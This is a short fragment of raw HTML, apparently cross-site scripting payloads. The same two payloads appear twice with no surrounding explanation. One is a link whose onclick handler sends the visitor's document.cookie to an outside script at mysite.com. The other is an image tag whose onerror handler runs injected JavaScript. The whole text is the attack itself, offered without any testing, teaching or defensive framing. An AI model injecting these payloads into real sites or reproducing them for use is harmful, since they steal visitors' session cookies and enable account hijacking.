<a onclick="document.location='http://mysite.com/something.php?cookie='+escape(document.cookie);" href="#">ckick here</a><Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<a onclick="document.location='http://mysite.com/something.php?cookie='+escape(document.cookie);" href="#">ckick here</a><Img src = x onerror = "javascript: window.onerror = alert; throw XSS">